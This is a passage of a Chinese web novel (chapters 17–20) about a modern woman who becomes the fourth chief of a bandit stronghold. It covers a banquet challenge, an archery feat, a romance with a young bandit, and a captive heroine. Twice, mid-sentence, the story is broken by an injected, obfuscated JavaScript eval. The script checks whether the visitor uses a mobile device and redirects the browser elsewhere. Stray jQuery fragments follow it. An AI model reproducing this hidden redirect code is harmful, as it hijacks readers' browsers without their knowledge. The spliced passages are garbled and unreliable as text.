宋又新向少女走近几步,广袖轻拂案几,“虽然大当家已经许了你当家之位,但,徐姑娘还得让底下的弟兄服气。所幸,你当的是四当家的位置,不用管太多人,只需管着那些外出采买货物的莽汉即可......” 外出? 徐青茹凝眉:“......那这些日子代管外出采买的是......” “小栾爷。” “他性格孤傲,你要得他认可……应是不易,需徐徐图之。” 小栾爷? 徐青茹一顿,脑海中不知想到什么,双颊掠过一丝薄红,她不动声色地攥紧了茶盏,“......原来如此,多谢三当家告知。” “无碍。你我本来就是一派的,自然要多多扶携。你掌管这等差事,实在是无巧不成书,妙哉妙哉!” 接着,他看向徐青茹,眼神意味深长,“当然......事成之后,徐姑娘仍是这杏花寨的四当家。” 闻此,少女只垂下眼睫,轻抿一口茶,嘴角勾起了一丝若有似无的笑容。 17. 第 17 章 宴席风云 徐青茹坐在铜镜面前,桂月正拿着两个珠花在她发髻上左右比对着,一个是镂空珊瑚珠花,轻巧秀丽,另一个是金珠海棠珠花,端庄贵雅。 “用那个珊瑚......”徐青茹顿了一下,眼眸中闪过一丝思略,“不了,还是用海棠珠花的罢。” “好嘞姑娘。” 若依她原本的性子,应更偏爱这粉白的珊瑚珠花,只是,凤奴夫人为她操办了午时的宴席,她少不了需更加沉稳一些,故而往“成熟”方向去打扮。她今日穿的一身藏蓝色衣裳也是用的老成的料子,精致不足,沉稳有余,眉眼上挑,唇色鲜红,已有了些许气派。 “青茹!” 门外传来一阵轻媚的女声,琉霜夫人着一袭绯色芙蓉花裙走了进来,与她一同的还有拢着织金披帛的凤奴夫人。 徐青茹忙向两位福身:“青茹见过两位夫人。” “欸!使不得,使不得!”琉霜上前一把托住她的手腕,丹蔻染就的指甲没入徐青茹云锦纹的衣袖中,“你如今是当家了,怎能还向我们行礼,我可受不住!” 徐青茹顺手挽住琉霜的臂弯,歪头看着她,笑意盈盈:“姐姐这是说的什么话?您是大当家的夫人,有何受不了?” “我说您受的,您便受的,难道我们姐姐妹妹的,竟要为此生疏起来?” “你这巧嘴!任我有八张十张也说不过你!”琉霜用手指点了点少女的额头,“......既然这般,那我也不扭捏作那劳什子态,瞧,今日我又给你带什么——”琉霜旁侧的丫鬟将手中的食盒打开,毅然是整齐划一的红白色糕点,隐隐约约还散发着一股清冽的香味。 “这是......” “琉霜昨日便开始准备了,特意为祝贺你做的如意糕,快尝尝。”凤奴浅笑着看向徐青茹,声音绵柔,“此外,我们姐妹俩给你的贺礼备在前厅了。青茹,你成了我们杏花寨的第二个女当家,可真真是件喜事!” 徐青茹霎时有些受宠若惊,连忙又福上一礼,“青茹何德何能,竟叫两位姐姐如此费心。” 凤奴夫人忙将她扶起,“何必客气,你我如今也算得上一家人。”又笑她,“你自己方才说道姐姐妹妹间不许客气,怎么这会子就驳了去?” 徐青茹掩嘴轻笑,“我的不是,我的不是,姐姐勿恼!” “别说那些虚礼了。”琉霜用帕子从食盒中挑出一块递到徐青茹嘴边,面色明媚娇俏,“好妹妹,快试试我新做的糕点,这才是正经事呢!” 徐青茹忙不迭地点头,接过琉霜的帕子,轻咬一口红色糕点,甜腻的香味引得人心神恍惚。 “如何?”琉霜满目期待地望着她,却见少女微微皱眉,神色略显不对,便问道,“可是不好吃?我用的新法子,准是那芝麻放多了,糯米粉方少了......”但话还未说完,便看到徐青茹低低地笑了起来,随后声音越来越大。 琉霜脸色微微疑惑,但很快便反应过来,似是嗔怒,“好呀!你可真是个好妹妹,竟来诓我,下次再也不给你做了!” 徐青茹这才止了笑意,眉眼仍是好看的月弧状,她亲昵地挽着琉霜,“好姐姐,饶了我,我再也不敢了。” 凤奴见着,颇为无奈又宠溺地摇了摇头,“这俩姑娘,怎么还跟孩童一般。” 桂月和旁边的几个丫鬟见此也都不由捂嘴轻笑起来。 一副其乐融融的好景象。 随后,老夫人也派了知秋过来送了礼,二当家也托人送了些玉器。算算,便只有五当家和小栾爷并未送东西过来。 * 午时。 宴席摆在狼豹厅,林林总总共摆了二十张席面。 此番准备的酒肉多,一百只鸡一齐下锅,两百斤酒随时候着,还有每桌必备的花生米、卤肉、腌萝卜等等。凤奴道,这不仅是为了庆祝徐青茹当了四当家,更是欲将此前张磐叛变给山寨带来的震动一并扫除,振奋人心。 匪徒们见着这满山的肉香酒香,忍不住地抽着鼻子,垂涎着,“香呐,真香呐!”有更甚者,从昨日晚上就没用膳,只为了留着肚子等今日这大宴。 大当家单豹铁铸般的身躯站在最前方,双手扬着一碗虎骨酒,大喝一声,嗓音雄浑:“各位杏花寨的弟兄,今日特设此宴,贺咱们新的四当家!” 话音一落,下面便大声囔喊起来,几百双直勾勾地盯着站在大当家旁边的明艳女子,神情不一,或好奇,或轻蔑,或垂涎,或敬服。见此,徐青茹勾唇,豪气地作了个匪礼,接着也利落地拿起一碗酒直噜噜地喝了下去,随后将瓷碗翻了过来,未剩一滴流出。 “好!”一破锣嗓子的少年音响起,“四当家!四当家!” 是十九。 狼豹厅顿时炸开了锅,跟着他齐声哄喊道:“四当家!四当家!四当家!” 叫喊声源源不绝,混着“咕噜咕噜”的喝酒吃肉声,此起彼伏,吵成一团,颇为壮观。 忽地,一肤色黝黑、高个瘦条的人哐当踩在长凳上,声音尖亮,气势十足:“娘们当家,房倒屋塌!老子跟着大当家刀尖上舔血的时候,你还特么是个奶娃娃呢!你一个女子,到山寨不过短短一月,怎么就能当上四当家呢?我么生不服!” 一石激起千层浪,下面不满徐青茹的莽汉纷纷借此哄笑起来,一下便掩过了之前的声音。一旁的大当家并未出声,只是略略挑眉,似乎也想知道她会如何应对。 徐青茹冷冷一笑,她就知有这一问。只见她不疾不徐地将空碗放在长桌上,随后,兀地将半人高的酒坛踹向厅柱,一声巨大的碎响声让喧闹骤停。徐青茹踩着碎陶片,犀利的眼神落到那人身上,嘴角微微向上勾着:“说的不错,比起寨中大部分人,我确实是初来乍到,比不得兄弟们在外拼命的功劳。只是——” 她眼神掠过大半匪徒,声音陡然转冷,“上月被毒箭穿胸的田七,是谁用银针帮他挑的毒?前日劫官银折了的兄弟,又是谁帮他把肠子塞进肚里缝了起来?”她忽然看向面前的一刀疤脸壮汉,面容带着一丝轻笑,“许裘,你说说,那日你得了急病,是谁忙上忙下替你诊治煮药的?” “可是孤魂野鬼不成!” 刀疤脸不敢看她,语气缓顿下来,“不,不是,是您......是四当家您给治的......” “嗬。 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然而,正当徐青茹以为此关已过之际,正坐于上方的五当家乔双元霍然起身,身上用于练功的粗重铁链声“哐啷”作响,一双凶恶的眼睛紧紧盯住她,“徐姑娘,我乔五可不认你!” 徐青茹一顿,心中暗道不妙,场面再一次安静下来。 “双元!”三当家宋又新呵道,“你这是作甚!” 满脸横肉,体型庞大的五当家扭头看向他,声音中隐含着少许愤怒与痛苦,“三哥,她杀了四哥,难道就这么让她当上四当家吗?我做不到,乔元做不到!”说罢,他继续看向徐青茹,“这样吧徐姑娘,若你能在我手中过三个回合,我便认了你这个四当家,从今往后,你便是我四姐。如何?” 徐青茹心中一跳,这是什么逻辑?张磐虽然是死在她手里,但他的死是注定的,而且,干脆利落地死在她手里面不比死在二当家的酷刑里面好吗?这悍匪怎么白光长个子不长脑子,竟把她当作仇人了! 再看那乔双元,九尺昂藏,面如满月,腰如磨盘,臂膀更是粗如牛腿,她一弱女子在他手中过三个回合岂不是要了半条命?于是她冷眉出声道:“五当家,我从未习武,又是女子,与你过三招,何来公平可言?” “哈哈哈哈哈哈。”乔双元狞笑一声,脸上的肌肉也跟着抖了一下,“徐姑娘,这山寨里面可没有公平可言,你就说,答不答应?” 徐青茹咬了咬唇,若是她答应,在这人蓄意报复下,她必然重伤,倘若不答应,对着下面众多杏花寨的弟兄,她当这四当家还有什么威严可言?好啊,真是好!这人铁了心把她架在火堆上烤! 正待她细想要如何破局,将损害降到最低之际—— “不用过招。”清冷玉润的声音忽然响起,玄衣少年手持一长弓和羽箭走了过来,正是栾佑。他抬眸看向五当家,神色疏淡,“我来试她。” “小栾爷?”乔双元没有想到半路杀出个程咬金,他皱了皱眉,“这......这怕是不合适。” 少年未语,骨节分明的手忽地拿出一支羽箭,三指拉弓,薄唇轻抿,眼睫分毫未颤,然后,他将其对准了徐青茹。 18. 第 18 章 徐青茹一怔,眼神中闪过几分错愕,她看向他——少年的眼神平静而冷漠,透如墨玉,不似玩笑。她不由攥紧了衣袖,一时之间摸不清他的打算。 “小栾爷,你这是?”乔双元不解地问道。 “我前日得了这把龙舌弓,未曾使用,今日有此机遇,故来一试。”少年说话平静淡漠,但不容反驳。 “徐姑娘。”他忽地看着她,声音似乎温柔了一些,“劳烦去拿一梨放于手上,若你能站着不动让我一射,这事,就此了过。” 此话一出,徐青茹方知晓他的打算,竟是替她解围么.......少女鬓边薄汗渐冷,面色也恢复了从容自然。然一旁沉默良久的大当家突地开腔,但似不是责怪,而是担忧,“佑儿,你莫要胡闹。” 栾佑微微挑眉:“大当家可是担心我的箭术?” “——你何时用过弓箭?快快放下。” 嗯? 徐青茹正以为自己明了他的意思,却没想到这小山匪才刚刚练箭?那这箭不小心射到她手怎么办?她略带惊讶地看向他,却发现他的目光仍然如湖泊般平稳笃定,她的心蓦地又收了回去。 少年轻笑一声,嗓音轻扬,“自是前不久刚学过,大当家不必担心。” 眼见栾佑拦下他为四哥报仇雪恨的机会,乔双元心有不甘,脸色忿忿通红却又不敢在这人面前大肆发作,毕竟此前他在这少年面前吃过不少瘪,知道他是个一意孤行、六亲不认的性子,于是只说:“小栾爷,要不还是让我跟她过三招。” 片刻,又道,“我最近得了只野狐狸,可以让小栾爷试试这弓。” 意思便是用这野狐狸换一个跟徐青茹过招的机会。 “哦?” “野狐狸?”栾佑似乎有了些兴趣,漫不经心地勾着唇,将尾音拖长。 “是啊,全身雪白,前不久才得来,极为狡黠聪慧......” 徐青茹心中倏地一紧,这怎么能让他答应,于是霍然打断,“既是白狐,寓意祥瑞,何必再添杀戮?”说罢,她径直走到摆满瓜果的长桌上挑了一个不大不小的雪梨,随后看向少年,面色沉静,“小栾爷,我接受你的提议。” 片刻,她似是想到什么,眼眸之中掠过一丝疯狂,勾了勾唇,“且小栾爷不介意的话——” “我将雪梨放在头上可行?” 既然赌他能射中,不如直接来个大的,这样才配得上她所承担的风险。 话落,场内忽地一滞。 这女子,竟然如此大胆?! ”自然可以。不过,徐姑娘竟如此相信栾某的箭术?”栾佑扯唇,眼底闪过一丝惊诧,饶有兴趣地看向她。明明这女子并不知晓自己是否精通射箭,但为了那一丝可能性,不断叠加筹码,只为获得最大的利益。 徐青茹神色从容,嘴角含着一丝浅笑,“当然。”说罢,她又转头看向乔双元,挑了挑眉,“这样,五当家可还有异议?”梨子放在手中,无论射箭水平如何,左右不过是手上受伤罢了,但若将梨子放于头顶之上,一个偏差,可是直接丧命。 “......并无。”五当家也知晓这点,眸色渐深,没有拒绝。 徐青茹轻点下颚,在众多山匪的注视下将梨子正方于头顶,身形端庄沉稳,目光泠泠,片刻,她朗声道:“好了——” “小栾爷,请吧!” 栾佑看着她,随性不羁的样子霎时收敛起来,开弓靠弦,他眼眸稍稍眯着,透露出几分寒光凌厉,随后略微调整,将弓箭对准了她头上之物。 羽箭倏地一下子飞了出去,徐青茹瞳孔变大,却并未眨眼,只觉得一阵凌厉的风掠过,随后听得一声响——雪梨被正射中心,“啪”地跌落在地,溅开晶亮的汁水。 整个过程一气呵成,不过半息。 徐青茹紧攥的手陡然松开。大当家眼中亦闪过一丝错愕,但很快便恢复如初,他目光落到少年身上,似乎透着他的影子看向什么。 “好!!”三当家率先鼓起掌来,叹道,“好箭术!好魄力!” 整个狼豹厅如同沸水入了油锅,惊呼声阵阵,堪要掀翻屋檐——一是称赞栾佑之箭法,二是感叹徐青茹之气魄。几个年轻的山匪更是涨红了脸,拼命用手拍打着桌子,气势激昂。 徐青茹一颗心落回肚子里,她神色若有所思,抬眸看向栾佑,浅笑道:“小栾爷好箭法。” 少年懒闲地将长弓放下,微微扬眉:“比不得徐姑娘这泼天的胆量。” 徐青茹知道他此举是为了替自己解围,这揶揄之话便只当未曾听见,仍是回了个明媚的笑脸。随后,她端起一大碗烈酒走到五当家面前,斟酌一二,声音清泠似山涧泉水,既是劝慰也是威胁,“五当家,我理解你的心情,不过事已至此,你我皆是杏花寨的一员,抬头不见低头见,何必抱有成见?现我敬你一杯,喝了这碗酒,仇怨便就此消散!” 未等这厮说是与否,徐青茹直接一碗下肚,清冽的酒水有些从她嘴角流下,晕染了唇色,再随之落到衣裳处,豪迈中又带着一丝妖艳。见此,栾佑握着长弓的指节一紧,稍稍皱眉,神色又凛冽了几分。 饮尽,徐青茹只觉得身子略有不稳,但脑子仍然清醒,她直盯盯地看着这位五当家,嗓音澄澈,“酒已毕,我与五当家之间便再无其他恩怨,今日之事,青茹只当玩笑。”她根基尚薄,不愿意与五当家交恶,若能借此酒消除他对自己的怨恨,自是最好不过。 “正是如此。”一旁的三当家附合道,摇了摇扇子,颇有几分说书人的模样,“张磐之事已板上钉钉。双元,你实在不必咄咄逼人,闹之前那副难看的场面。”徐青茹对三当家笑了笑,神色淡然。 片刻,这膀大腰圆、虎背熊腰的壮汉冷嗤一声,却未说拒绝之语。 狼豹厅充满着浓烈的酒香味和喧闹声,底下一个一个的匪徒都有了些飘飘然,说话也是荤素不忌。 徐青茹眼神掠过上方的几位当家,给自己又斟满一碗,随后走到中堂,将酒碗举过头顶,朗声道,“此酒,敬诸位当家!”刚刚之事,大当家与二当家态度暧昧,颇为置身事外,三当家虽劝了几句却也只是隔靴搔痒,添些场面话。此一敬,只盼笼些礼数和情分。 今日三碗下肚,她又端上一碗,对着乌泱泱的人群,神色自然,声音拔高,“此酒,敬各位兄弟!”说罢,再次一饮而尽。 见她如此,底下传来此起彼伏的叫好声,“豪迈!”“四当家海量!”“四当家真不愧是女中豪杰!” 古代酒的度数不高,她喝得起劲,纯当喝水,只是,再怎么如何量变导致质变,徐青茹还是有了些眩晕之态,摇晃着往偏厅走去。十九见她一人,便忙不迭地追了上去,随后从兜里面掏出一个不大不小的木雕递给她。 徐青茹缓着酒劲,将其接了过来——是一个姑娘模样的木雕,虽然粗糙,但从细节处不难看出雕刻者的用心,“这是......” “徐姐姐,不......四当家,这是......这是送你的祝贺之礼,是照着四当家你刻的......”少年略微结巴,黝黑的皮肤此刻透露出一丝薄红。 然而—— 徐青茹听到“姐姐”一词后脸色变了变,酒劲醒了不少,随后才意识到十九刚刚说了些什么。 她眼眸含亮地看着手中的木雕,指尖轻轻抚过着其凹凸不平的纹路,忽而轻笑出声,“原来我生得这般张牙舞爪?” 听她揶揄的语气,十九以为是她嫌弃,便急忙说,“不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061546|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不不,徐姐姐你比这木雕好看上十倍百倍,是我技艺不精罢了......若你不喜欢,丢到一旁便是......”说着,少年便要夺回木雕,见此,徐青茹忙将其拢进袖中,“这木雕不说栩栩如生,但也可爱恣意,我哪有不喜欢,明日就把它供在案头可好?” 十九手上动作一顿,脸色羞涩,声细如蚊,“嗯。” 堂前烛火明灭处。 栾佑眸光掠过偏厅,只见两人言笑晏晏,姿态亲昵,他不由微微挑眉,眼中闪过一抹晦暗。 这场宴席从午时闹到夜半,徐青茹面色微红,人清醒且略微亢奋。 天色已黑,她独自走在回还明院的道路上,踩着满地碎银似的月光。 正走到一偏僻之地时,冷风徐徐,几缕粘在微醺酡红面颊上的青丝被吹开,徐青茹陡然生出几分惆怅,经此一番,她回不去了,回不去过去安静平稳工作的生活了,那究竟什么是真的,什么又是假的?究竟是过往才是虚妄还是她南柯一梦? 她感到一阵突如其来的悲伤,不由慢下了脚步。 然而,阴影里忽地伸出一只骨节分明的手,轻松拢住了她的手腕。 凛冽的松香扑面而来,她微顿,摇晃的身姿贴到一个滚热的胸膛之上。 “怎么不走了?”那人勾着懒懒的调子,喉间溢出一声低笑。 徐青茹回笼悲叹的心思,嘴角也扬起一丝笑意,随后转身蓦地扑进他怀中,“你怎么在这?”少女一身酒味全都染到他衣上。 少年没动,任由她动作,忽说,“今日你未敬我酒。”言语之间颇有几分委屈。 徐青茹一顿,抬头看着他,神情明亮而娇媚,“我故意的。” “你没给我准备贺礼,我才不给你敬酒。” 栾佑一滞,目光灼灼地看向她,“你怎么知我没给你准备?”说罢,他从袖中拿出一柄短剑,蟹壳青皮,古绣玲珑,拔出后通体乌黑,剑尖锐利,整个刀身在月光的照耀下闪着冷冽的光芒。这不是他惯用的那把,却与那把极为相似。 他将此剑插入剑鞘,递给她,眉目浅弯,带着一股极为罕见的少年意气,“此剑如何?可比那......”后面的话忽地被他咽下——她的指尖不经意间轻轻拂过,带来一丝清冷软腻的触感。 “......什么?”徐青茹心思只在那剑上,将其翻来覆去,拔出又插入,细细打量,思考着其威慑力与伤害性。 半响,她嘴角不由翘起,却故作平平,只道一般。 少年眼眸闪过一丝了然的笑意,蓦地将剑从少女手中拿走,“既然徐姑娘说一般,便还给我罢。” 徐青茹被他的动作弄得猝不及防,忙去抢,声音带了丝娇憨,“你既送了我,哪有拿走之意?快快还给我!”然而少年身形如影,徐青茹难以辨别真位,于是乎,这位有些醉醺的姑娘猛地抓住他胸间衣裳,随后踮脚亲了亲他喉结。 少年白玉似的耳尖瞬间染上霞色,手中一松,那剑便被她拿了去,少女发出得逞的银铃笑声。 “对了,那日要你寻的羊肠可......唔......” 少年俯身,她的未尽之语被蓦然封住,唇中充斥着令人迷迭的酒香,栾佑揽着人旋身隐入槐树之后。 良久,待怀中人喘不过气地推他,少年才轻抵着她额头,声音带着一丝难以察觉的委屈与任性:“......姐姐,你都不曾主动找我......” 徐青茹一愣,后知后觉地意识到这些日子,她为了笼络人心,在山寨中忙上忙下,尽是为他人治病看伤去了。 “既然这样——”她似想到什么,笑眯眯地看向他,“丑时三刻,还明院中,郎君请入。” “那时桂月必然已入睡了。” 19. 第 19 章 顾轻云 院中。 栾佑把玩着手中的短剑,眉目冷冽。 烛光映在窗纸上,左右跃动着,忽地被一黑影压了下去。 “主子,你之前吩咐过的事,小的已经查清楚了,是......”后续的声音隐入耳中,少年挑了挑眉。 “还有......徐姑娘......徐姑娘院中并无可疑之迹,她与宋又新近日并无来往。” 栾佑手中动作一顿,清漠的眼眸中看不出什么情绪,半响才道,“知道了。” “是!属下告退!” “慢——” “你去查查,她。”栾佑将茶盏倾倒,随后沾过茶水在书案上写了几个字。 “是!” * 徐青茹做了一个梦。 梦里她还是现代那个上班熬命,下班游戏,偶尔撸猫的宅女医生。一次,她带着耳机,面对大屏,手中操作不断,战况猛烈。忽脖子一痒,被她捡回来的流浪猫“花生”正在伏在她肩上,咬嗅着她的脖子。 “花生,别咬啦。”她分出精力说道,眼睛却仍然盯着大屏。 然而话落,这小崽子咬得更加厉害,还伸出舌头舔了舔她的脖子。 徐青茹受不住痒意,分出一只手想将花生拿下去,但她手刚刚接触到花生,小猫就顺势在她掌心舔了起来。 “啊!”她惊呼一声,手上一个反向操作,直接给对方送了个人头。 耳机里面传来一阵怒骂,“窝草,狙击手在干嘛?!会不会打啊!” 徐青茹赶忙低声说了句抱歉,随后直接挂机,猛地将耳机取下。 “花生,说了多少次在姐姐打游戏的时候不准捣乱!” 徐青茹回头,想抓住这只调皮捣蛋的小猫好好教训一番,却见小猫的眉毛、眼睛忽然变长、变宽,白色的猫毛瞬时变成光滑白嫩的肌肤,到最后,竟幻化成一张俊美少年的脸。 ! 徐青茹顿时清醒过来。 她喘着气,转头看去,却并无一人。 自己怎么会做这样的梦,又怎么会梦见花生变成小山匪......不对,混沌之中,徐青茹忽想起几个时辰之前自己说过的话,明晃晃的“请君入瓮”,这罪魁祸首到头来竟是她自己。 只是现在......她拢起外衣坐了起来,怔然地望向窗外,夜色漆黑,明月如昼,不知几时了。 她忘记他最后是怎样回答的,是允诺了,还是只是望着她笑了笑,徐青茹轻叹,喝酒误人,美色误人!什么姑娘家的矜持在她身上,通通成了摆设。 徐青茹一时间也有了些懊恼。 忽地,一阵清烈的风吹来,将房中已经快烧没的红烛霍然一灭,屋内瞬间陷入黑暗之中,随后,只听得一轻微的落地声,一个身影从窗外灵巧地跳了进来。 “姐姐——”来人一身玄衣,似乎要与这夜色融为一体,唯有那双眼睛透露出一点清亮。 看到她拢衣坐着,他语调松懒,“这么晚了,姐姐还在等我?” 徐青茹未答,有些怔然地看着他,这是梦里,还是现实? 应还是梦中吧,或许这一切都是她所做的一个光怪离奇、波澜曲折的噩梦。 可是—— 徐青茹忽轻轻蹙起眉,她问到一丝淡淡的,独特的香味。 “郎君......”她轻声唤着,辗转九曲,眼眸含泪,似有说不清的苦楚委屈。 “怎么了?”少年被她这一举动弄得不知所措,走到她床边坐下,凝眉问道。 徐青茹将脑袋靠近少年怀中,轻抓住他的衣裳,似要把自己嵌入其中,然而少女眼中却并无伤切之意,只是一抹浓烈的疑惑与震惊——是了,是暗香丸,他身上,怎么会有自己房中暗香丸的味道?! 为了试探她房中是否有人偷听墙角,她特意制作了暗香丸,用多种香料、药材制成,气味虽浅淡,但极易扩撒,且染上后能持续一日左右,味道独特,非道行高深之人难以察觉。整个山寨,也应只有她一人能识别这暗香丸的气味。 可是—— 栾佑近日并未来过还明院,他身上的香味又是从何而来呢?现下她的屋子里并未染香,这暗香丸也才昨日烧了一会。 除非...... 除非是昨日有人来过,染上这香味,然后这人又与他相处极近,最终才导致他身上也有此香。但这又存在一个问题,几个时辰之前,她在他身上并未闻到此味,她自己身上因随身佩戴相中和暗香丸的香囊,并不会有此味道,所以,只能是,在这几个时辰内,他与来过她房中之人接触了。 那个人,是谁? 是谁在监视她? 徐青茹眼中闪过一丝警觉,良久后从他怀中离开抬眸望他。少女面色清丽而又带着一丝脆弱,“......郎君,你来的好晚。”说罢,少女面容诡异地抽搐了一下,有点太肉麻了,她自己也有些犯恶心,于是徐青茹正了正神色,露出一个相宜的笑容,“妾是有一事相说。” “——等下。” “嗯?” 少年忽伸出手,意外认真地替她拭去眼泪。徐青茹微愣,感受着他手指的温热的触感,心中微微泛起波澜,身体似乎热躁了起来。 “好了。”少年收回手,眼眸淡然却又带着点笑意地看着她,“何事?” 徐青茹一时的心悸被她按捺住,她神色严肃了些,“关于......外出采买之事。” “后日,我需与几位原先四当家的手下一同出寨。” “郎君......可否与我同行?” 她虽是迫不得已杀了张磐,但那些曾经与其交好之人,却极大部分会将仇恨转移到她身上,五当家就是个典例。不过,先前看在大当家、二当家的面上他们没有给她使绊子,但如果是外出,脱离了山寨的掌控呢?这些曾经四当家的手下保不齐会对她做些什么。她虽以医术压人,可这些到底是不讲理的莽汉,说不定某个时机气血上头就做出什么害人害己的事情来。 她需要栾佑陪她一起去。且他,也完全有正当的理由。 栾佑看着望向他的少女,她的眼眸纯净而又期盼,他忽想到贺必给他的汇报中,这个少女在夜半与宋又新密谋,虽不知是何事,但她绝非眼前这副乖巧可怜的模样。他本是怀着找到“那个人”的目的接近她的,但现在看来,已经有更值得怀疑的人选,所以—— 他其实不必再刻意接近她。 不过,他仍是说道,“好。” 她实在有趣,有趣到,这漫漫长路,他也可以偶尔停留驻足一下。 少女弯了弯眉,也笑了。 小山匪真好啊。她说什么都答应。 ...... 一切进展得很顺利。 说不清是谁开了头,但徐青茹毫无疑问地沉溺在这种令人窒息的感觉之中——甚至觉得,如果此刻死去,她也愿意。 “花生......”少女轻声呢喃着,手无意识地插入他的青丝,朦胧的眼神中尽是妩媚。 “嘶——”肩膀上忽然被咬了一口,紧接着徐青茹混沌的脑海中忽地清明一刻,脑子像炸开了火花一般一个激灵。 “姐姐,你太不专心了。”栾佑颇为恶劣地笑了起来,低头又咬在了她的脖颈之处,“这是对你的惩罚。” .......啧,跟花生更像了,都喜欢咬人。 这是徐青茹最后的一丝意识。 ....... 醒来的时候,徐青茹身边已经了无一人。窗外透进的光亮十分刺眼,她翻开被子,自己身上处处狼狈不堪,红痕累累,且身体疲倦酸痛,那处隐隐作痛,徐青茹不由低骂了一句狗崽子,骂完之后似是想到什么,脸颊上又浮现羞恼的红晕。 罢了罢了! 总归自己也舒坦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080339|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 早膳过后,徐青茹给自己熬了一碗避子汤——药材还是上次外出给三当家买药材之际顺手拿的,这也是为何当时那老掌柜会误会两人关系的原因。当时她不愿解释,只好笑笑含糊过去。 只是为何要买呢? 徐青茹垂眸,原书中“徐青茹”和其余女子的死法并不正常,这山寨中,尽管有二当家那道命令,但这些毕竟是匪徒,只顾眼前爽快,不谈未来事的匪徒,怎么能单纯地以为这些规矩能束缚他们呢? 阿莲就是一个例子。 因而,现今与这小山匪如此,倒也算是两全其美。 不过,她最担忧的还是,自己似乎对这小土匪有了一丝不一样的感觉。这可是大忌。 * 栾佑跟着她、还有几个张磐之前的手下人一同出去采买些许货物回寨。 或许是因为栾佑,或许是他们已经认清了谁才是如今的当家,并未对徐青茹发难。 回到山寨时,已是黄昏,夕阳在天边留下一抹红橘色的晕影,像层层叠叠的扎染。 一山匪来报,说是大当家请她前往大堂议事。 徐青茹面露疑惑,随后与之一同前往大堂。 大堂正中央被押着一个汉子,汉子旁边有一名女子,锦衣华服,垂眸望地,看不清容貌。但这汉子,徐青茹认得,也是张磐的手下。徐青茹向大当家、二当家略略颔首,随后坐到了上方四当家的座位上。 单豹瞧了一眼,“四当家,你看看应当如何处理?” 话落,那名跪着的女子忽抬头看了一眼徐青茹,神色有些诧异,似乎惊讶四当家是这样一名温切的女子。而这一眼,也叫徐青茹看清这名女子的模样——虽略有狼狈但难掩其倾城之姿,更重要的是,她眉心中有一颗痣,美人痣。 是顾轻云。 原书中曾描写,顾青云容貌清丽脱俗,而眉中一颗痣却为她许了一份凡尘的烟火与娇艳。 徐青茹的手蓦然收紧,女主么......那就这是原书故事中的一个重要节点——顾轻云被山匪绑架,受尽折磨,而后所有的情节都因此展开。 既是女主,徐青茹的眼神落到她身上,必然会化险为夷,逃出生天。 “发生了何事?”徐青茹声音清淡,神色自然。 一山匪上前回报:“回四当家的,这小子同二当家的出去时,竟趁官兵来之际偷摸掳了一女子,还将人藏在马车里运回了山寨,请四当家定夺!” 二当家? 徐青茹一顿,这事竟与二当家有关,那为何不让二当家处置呢?她看了一眼二当家,只见女人神色冷漠,轻扣桌案,一副事不关己的模样。 徐青茹又继续看向女子,神色略有思考,毕竟这位是原书女主,那就是真命天女般的存在,她不能过分苛之,但也不能崩掉自己四当家的人设。于是徐青茹静声问道:“姑娘是何人,家在何处?” “顾轻云。”真命天女神色从容,毫无被关押进山寨的局促不安,过了一会又道,“云州顾家。”说罢,她抬眸看向徐青茹,眼眸坚定,“四当家,劳烦给我一条白绫,轻云自行了断即可!” 徐青茹眼中闪过一丝错愕,自行了断?!这可是女主,这可是第一主角,有天命Buff的加持,怎么能轻易死去呢! 正待她想说话之际,二当家忽然出声,看着底下的少女,挑眉重复了一遍,“云州顾家?” 随后她露出一丝笑容,“原来是顾家的,那你应该是顾子淙的女儿。” “你,你怎能直称父亲名讳?” “哈哈哈哈哈哈......”女人笑得更加张扬了,“天无绝人之路,我居然遇到了顾子淙的女儿。嗬,我怎么能让你死呢,这样吧,我差人送封信给顾子淙,让他拿黄金万两以及那副千里莲花图来赎你好了。” 徐青茹扭头看向女人,神色若有所思,原来女主的转机在这里。 20. 第 20 章 第三个 果然,顾轻云听到罗斩秋的一番话,面色大惊,急呼,“不可!”过了须臾,又似察觉到什么,眼中闪过一丝怀疑,“千里莲花图是父亲最宝贵的画,你......你怎么知道!” 幼时,她曾无意中将这幅画拿出想赏玩借鉴一番,哪知刚刚打开,父亲便怒气腾腾地一把拿了过去,并告诫她不得随意翻找他书房之物。父亲平时对她极好,唯有这事上对她严苛,她也是家中娇女倍感委屈,便问了母亲,明明这画不是什么大师所做,为何父亲要如此维护?她只记得那时母亲眼中噙着泪花,神色怔然而又落寞,过了良久才道,这画是父亲故友所赠,故而分外爱惜。 当时的她懵懵懂懂应到着,却又觉得另有隐情,然而时过境迁,此事早已堙灭于其他无数个是是非非之中,可现今,深埋于心中记忆甫间又被翻出,而提及此事的人竟然是个女山匪!顾轻云心中不可谓不诧异。 “......宝贵?”女人的眼神中闪过一丝厌烦与狠戾,随后勾起唇角,懒洋洋地道,“不用管我如何得知。不过,你既是他女儿,必然也是琴棋书画样样精通,你说,若是我挑断你的筋骨,你可还能作画弹琴,作那娴雅之人?” “哈哈哈哈,只怕是废人一个罢了!”即便只是说着,女人眉眼也染上了阵阵愉悦。 